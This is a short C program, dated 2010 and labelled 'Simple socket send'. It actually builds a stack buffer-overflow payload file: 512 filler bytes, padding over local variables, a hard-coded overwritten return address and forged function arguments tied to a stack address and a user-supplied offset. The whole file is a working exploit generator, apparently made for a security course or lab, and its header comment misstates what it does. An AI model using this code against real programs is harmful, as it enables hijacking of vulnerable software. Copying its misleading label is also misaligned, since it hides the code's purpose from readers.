/* Simple socket send
 * Jeff Turkstra, 2010
 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  int fd;
  long addr;
  int i;

  char buf[768];

  if (argc != 3) {
    printf("Usage: %s [file] [offset]\n", argv[0]);
    return -1;
  }

  fd = open(argv[1], O_RDWR|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR);
  if (fd <= 0) {
    perror("open");
    return -1;
  }

  /* Garbage to fill the buffer */
  memset(buf, 0x61, 512);

  /* Local vars */
  memset(buf+512, 0x01, 28);

  /* Return address */
  addr = (long) buf + 512 + 28;
  *((long *)addr) = 0x6f37f0;

  /* Args */
  addr = (long) buf + 512 + 28 + 8;
  *((long *)addr) = 0xffffdf10 + atoi(argv[2]);
  addr = (long) addr + 4;
  *((long *)addr) = 0x9c9;

  write(fd, buf, 768);

  return 0;
}